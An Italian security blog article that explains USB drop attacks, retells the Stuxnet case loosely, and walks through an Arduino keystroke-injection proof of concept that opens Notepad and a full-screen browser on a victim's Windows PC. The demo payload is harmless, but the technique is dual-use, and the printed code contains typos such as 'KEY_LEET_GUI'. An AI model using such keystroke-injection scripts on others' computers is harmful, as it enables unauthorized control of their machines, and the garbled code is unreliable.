Red Hot Cyber

La cybersecurity è condivisione.
Riconosci il rischio, combattilo, condividi le tue esperienze ed 
incentiva gli altri a fare meglio di te.

Cerca
Crowdstrike

Un esempio pratico di hacking fisico con una chiavetta USB

Massimiliano Brolli : 6 Febbraio 2022 07:54

Ti è mai stato detto che se trovi una chiavetta USB per terra, non dovresti inserirla nel tuo computer? Oggi comprenderemo attraverso un proof of concept (PoC) perché non dovresti farlo. In questo post vedremo come creare una USB malevola che può infettare un computer in pochi secondi.

Qualche riga di storia.

Nel 2010, i media hanno fatto eco a un virus che era riuscito a infettare una centrale nucleare in Iran. Questo malware, chiamato Stuxnet, ha rallentato le centrifughe che arricchivano l’uranio, aumentando la pressione fino ai punti critici.

La centrale aveva sensori che le permettevano di azionare valvole che rilasciavano la pressione quando aumentava. Il virus consisteva nel modificare i dati letti da questi sensori in modo che sembrasse che tutto stesse andando per il verso giusto e aumentare la pressione delle centrifughe.

Se avessero voluto, avrebbero potuto far saltare in aria la centrale nucleare. Tuttavia, quando la pressione era troppo alta, Stuxnet fermava l’attacco. Questo perché il suo obiettivo era ritardare il programma nucleare iraniano e non distruggerlo.

Ma la cosa più curiosa di questo, è che la prima versione di questo virus non aveva una forma di propagazione automatica con cui raggiungere la rete in una centrale. Per poter agire, visto che la centrale era dotata di una rete Air-Gap, il virus doveva essere eseguito su un computer, poiché doveva modificare uno dei file di configurazione per eseguire il suo codice all’interno della centrale stessa. Infatti, i sistemi della centrale nucleare non erano collegati a Internet, per motivi di sicurezza. Allora come si è infettato?

Attraverso i dipendenti dell’azienda.

Non si sa in effetti come siano andate le cose, ma probabilmente qualcuno ha lasciato cadere una chiavetta USB vicino a un addetto della centrale, che l’ha trovata e ha avuto la brillante idea di collegarla al suo computer per vederne il contenuto. Una volta all’interno della rete, il malware si è diffuso e propagato arrecando i danni da noi tutti conosciuti.

Questo è il caso più famoso di questo tipo di vettore di infezione, ma successivamente, ne sono stati però trovati migliaia di casi in cui attraverso il social engineering un lavoratore ha compromesso la sua azienda collegando una USB che era stata trovata.

USB difettoso

Oggi bastano solo un paio di clic per ottenere una chiavetta USB dannosa. Chiunque abbia accesso a un computer e 10 dollari può averne una. Il marchio più famoso di questo tipo è la USB RubberDucky che costa 45 dollari, tuttavia ne troviamo altri tipi per 8 o 9 dollari, con le stesse funzionalità.

Come funziona?

Quando la USB viene collegata ad un computer, viene riconosciuta come se fosse una semplice tastiera. Il programma contenuto all’interno dell’USB, non fa altro che eseguire semplicemente diverse sequenze di tasti automaticamente.

Poiché il sistema operativo la considera la tastiera dell’utente legittimo, tutto ciò che viene premuto viene eseguito e questo è qualcosa di altamente critico qualora vengano premuti i tasti giusti per effettuare un attacco informatico o impiantare dei malware.

PoC

Per questa prova di concetto utilizzerò un dispositivo Lily GO di basso costo, acquistata per 8 dollari da Aliexpress.

La principale differenza con il Rubber Ducky è che su quest’ultima è possibile inserire una scheda microSD su cui archiviare informazioni compromesse o salvare script.

Esistono già molti script creati per Rubber Ducky che consentono di eseguire diversi attacchi. In questo github puoi trovare una raccolta di questi script.

Tuttavia, questi script sono validi solo per Rubber Ducky.

La versione low cost è programmata utilizzando Arduino, quindi gli script variano. Tuttavia, questo non è un problema, perché qualcuno si è già preso la briga di realizzare un convertitore DuckyScript – Arduino.

Ma in effetti, il divertimento sta nell’imparare a creare i nostri script.

Per fare ciò, dovremo prima scaricare Arduino. Una volta scaricato, vai su strumenti -> scheda e seleziona “Arduino Leonardo”.

Prima di iniziare con lo script, è importante sapere che la libreria predefinita supporta solo le tastiere statunitensi, quindi nel caso in cui la nostra vittima abbia configurato la tastiera in un’altra lingua, dobbiamo installare librerie compatibili con quella lingua.

Per fare ciò dobbiamo solo scaricare questo repository nella directory della libreria Arduino, i passaggi sono nel github.

Innanzitutto, includiamo la libreria Keyboard.h , con la quale potremo simulare la sequenza di tasti. La funzione setup() è la funzione principale dello script. Per iniziare, dobbiamo chiamare Keyboard.begin() e attendere un po’ (mezzo secondo è sufficiente).

Ogni chiave ha un identificatore speciale. Ad esempio, la chiave di invio è “KEY_RETURN”.

Per prima cosa devi chiamare la funzione di pressione dei tasti, quindi attendere alcuni millesimi di secondo e infine chiamare la funzione di rilascio dei tasti. L’incapsuleremo nella funzione typeKey per renderlo più semplice:

Per scrivere una stringa di testo, chiamiamo la funzione Keyboard.print(word).

Per questo test iniziale, apriamo un blocco note e digitiamo “Hacked by Red Hot Cyber”, supponendo che la vittima stia utilizzando Windows. Pensiamo a quali tasti devi premere.

Il metodo più veloce è tramite la scorciatoia da tastiera Windows + R , che apre il pannello Esegui:

Quindi prima premerò il tasto Windows, il cui identificatore è “KEY_LEFT_GUI” e premerò il tasto r (codice ascii 114). Quindi, rilascerò entrambi i tasti.

Dopo mezzo secondo di attesa (per l’apertura del pannello), scriverò il programma che utilizzerò. Premerò invio e aspetterò mezzo secondo per l’apertura del blocco note. Infine, scriverò una frase nel blocco note:

#include void setup()
{
   Keyboard.begin();
   delay(500);
   Keyboard.press(KEY_LEET_GUI);
   Keyboard.press(114);
   Keyboard.releaseAll();
   delay(450);
   Keyboard.print("notepad");

   delay(450);
   typeKey(KEY_RETURN);

   delay(450);
   Keyboard.print("Hacked by Red Hot Cyber");   
}
void typeKey(int key) 
{
  Keyboard.press(key);
  delay(200);
  Keyboard.release(key);
}

void loop() 
{}

Per completare questa prova di concetto e per fare un po’ di spam, apriamo la vittima un browser a schermo intero con il mio sito web.

Il processo è identico: apro Esegui e digito il comando. In questo caso, il comando è iexplore , con -k per andare a schermo intero.

Lo script finale sarebbe simile a questo:

#include void setup()
{
   Keyboard.begin();
   delay(500);
   Keyboard.press(KEY_LEET_GUI);
   Keyboard.press(114);
   Keyboard.releaseAll();
   delay(450);

   Keyboard.print("notepad");
   delay(450);
   typeKey(KEY_RETURN);
   delay(450);

   Keyboard.print("Hacked by Red Hot Cyber");
   typeKey(KEY ETURN);  
   Keyboard.press(KEY_LEET_GUI);
   Keyboard.press(114);
   Keyboard.releaseAll();
   delay(450);
   Keyboard.print("iexplore -k https://www.redhotcyber.com");delay(450);typeKey(KEY RETURN);
   Keyboard.press(KEY_F11);
   typeKey(KEY_RETURN);
}

void typeKey(int key) 
{
   Keyboard.press(key);
   delay(200);
   Keyboard.release(key);
}

void loop() 
{}   

È importante notare che non si è usata la funzione loop() perché in questo esempio non era necessario, ma è una funzione molto utile perché ci permette di eseguire ciclicamente le istruzioni che introduciamo.

Per caricarlo nella USB basta collegarlo, cliccare su “Verifica” (per verificare la sintassi dello script) e cliccare su “Carica”. Una volta caricato lo script, verrà eseguito automaticamente , quindi devi stare molto attento.

Ecco un video che mostra quello che è stato realizzato con lo script precedente.

Questo strumento è molto utile combinato con l’ingegneria sociale, poiché consente attacchi fisici davanti alla vittima senza che se ne accorga, molto più furtivamente e rapidamente che manualmente.

Tuttavia, ti ricordo che l’etica e l’onore devono prevalere davanti a qualsiasi scopo personale.

Siamo “hacker” e non “criminali informatici”, questo tenetelo sempre in mente.

Fonte

https://hackinglethani.com/physical-hacking-with-usb/

http://roothaxor.gitlab.io/ducky2arduino/

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload—Website-Lock

https://www.arduino.cc/en/software

https://github.com/ernesto-xload/arduino_keyboardlib

Massimiliano Brolli
Responsabile del RED Team di TIM S.p.a. e dei laboratori di sicurezza informatica in ambito 4G/5G. Ha rivestito incarichi manageriali in Telecom Italia che vanno dal ICT Risk Management all’ingegneria del software alla docenza.